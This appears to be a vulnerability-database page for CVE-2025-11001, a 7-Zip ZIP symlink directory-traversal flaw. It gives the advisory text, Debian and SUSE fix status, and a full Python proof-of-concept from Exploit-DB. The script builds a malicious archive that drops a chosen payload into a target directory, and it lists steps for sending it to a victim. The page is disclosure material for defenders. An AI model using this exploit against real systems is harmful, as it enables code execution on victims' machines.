CVE-2025-11001

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

7-Zip ZIP File Parsing Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of 7-Zip. Interaction with this product is required to exploit this vulnerability but attack vectors may vary depending on the implementation. The specific flaw exists within the handling of symbolic links in ZIP files. Crafted data in a ZIP file can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of a service account. Was ZDI-CAN-26753.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-52501 local multiple python · 4 KB
Mohammed Idrees Banyamer · 2026-04-08

7-Zip 24.00 - Directory Traversal

python exploit Source: Exploit-DB
# Exploit Title: 7-Zip < 25.00 - Directory Traversal to RCE via Malicious ZIP 
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.7-zip.org
# Software Link: https://www.7-zip.org/download.html
# Version: 7-Zip < 25.00
# Tested on: Windows 10 / Windows 11 (7-Zip 24.xx)
# CVE: CVE-2025-11001
# CVSS: 8.8 (High) - draft estimation
# Category: Local Privilege Escalation / Remote Code Execution
# Platform: Windows
# CRITICAL: Yes - Public exploit available, active exploitation reported
# Including: Directory Traversal via crafted symlink entry in ZIP archive
# Impact: Full system compromise when extracting malicious archive with 7-Zip as Administrator
# Fix: Upgrade to 7-Zip 25.00 or later
# Advisory: https://www.7-zip.org/history.txt
# Patch: https://github.com/ip7z/7zip/releases/tag/25.00
# Target: Windows systems running vulnerable 7-Zip versions

import struct
import os
import argparse
import sys

def build_zip(target_path, payload_file, output_zip):
    if not os.path.isfile(payload_file):
        print(f"[-] Payload file not found: {payload_file}")
        sys.exit(1)

    payload_name = os.path.basename(payload_file)
    payload_data = open(payload_file, "rb").read()

    target = target_path.replace("\\", "/").strip("/") + "/"
    traversal = "../../../../" + target

    with open(output_zip, "wb") as f:
        offset = 0

        symlink_name = "evil.lnk"
        symlink_target = traversal.encode() + b"\x00"
        symlink_extra = struct.pack("<HH", 0x756e, len(symlink_target)) + symlink_target

        symlink_header = struct.pack("<IHHHHHHIIIHH",
            0x04034b50, 20, 0x800, 0x800, 0, 0, 0,
            0, 0, 0,
            len(symlink_name), len(symlink_extra))

        f.write(symlink_header)
        f.write(symlink_name.encode())
        f.write(symlink_extra)
        f.write(b"")
        symlink_central_offset = offset
        offset += len(symlink_header) + len(symlink_name) + len(symlink_extra)

        payload_header = struct.pack("<IHHHHHHIIIHH",
            0x04034b50, 20, 0x800, 0, 0, 0,
            0, len(payload_data), len(payload_data),
            len(payload_name), 0)

        f.write(payload_header)
        f.write(payload_name.encode())
        f.write(payload_data)
        payload_central_offset = offset
        offset += len(payload_header) + len(payload_name) + len(payload_data)

        cd_offset = offset

        f.write(struct.pack("<IHHHHHHIIIHHHHHII",
            0x02014b50, 0x0317, 20, 0x800, 0, 0, 0,
            0, 0, 0,
            len(symlink_name), len(symlink_extra), 0, 0, 0, 0o777 << 16 | 0xA1ED, symlink_central_offset))
        f.write(symlink_name.encode())
        f.write(symlink_extra)

        f.write(struct.pack("<IHHHHHHIIIHHHHHII",
            0x02014b50, 0x0317, 20, 0x800, 0, 0, 0,
            0, len(payload_data), len(payload_data),
            len(payload_name), 0, 0, 0, 0, 0o777 << 16, payload_central_offset))
        f.write(payload_name.encode())

        f.write(struct.pack("<IHHHHIIH",
            0x06054b50, 0, 0, 2, 2, offset, cd_offset, 0))

    print(f"[+] Malicious archive created: {output_zip}")
    print(f"[+] Target path          : {target_path}")
    print(f"[+] Payload file         : {payload_name} ({len(payload_data)} bytes)")
    print(f"[+] Final write location : {target_path}\\{payload_name}")
    print("\n[*] Usage:")
    print("    1. Send the ZIP file to the victim")
    print("    2. Victim must run 7-Zip < 25.00 as Administrator")
    print("    3. Victim opens and extracts the ZIP → payload dropped silently")
    print("    4. Achievement unlocked")

if __name__ == "__main__":
    banner = """
    CVE-2025-11001 - 7-Zip Directory Traversal PoC
    Author: Mohammed Idrees Banyamer (@banyamer_security)
    """
    print(banner)

    parser = argparse.ArgumentParser(description="CVE-2025-11001 Exploit - 7-Zip < 25.00")
    parser.add_argument("-t", "--target", required=True, help="Target directory (e.g. C:\\Windows\\System32)")
    parser.add_argument("-p", "--payload", required=True, help="Payload file to drop (e.g. C:\\Windows\\System32\\calc.exe)")
    parser.add_argument("-o", "--output", default="CVE-2025-11001-exploit.zip", help="Output ZIP filename (default: CVE-2025-11001-exploit.zip)")

    args = parser.parse_args()

    build_zip(args.target, args.payload, args.output)

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 25.01+dfsg-1~deb13u1
sid Fixed 25.00+dfsg-1
forky Fixed 25.00+dfsg-1
bullseye Fixed 16.02+really25.01+dfsg-0+deb11u1
bookworm Fixed 22.01+really25.01+dfsg-0+deb12u1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.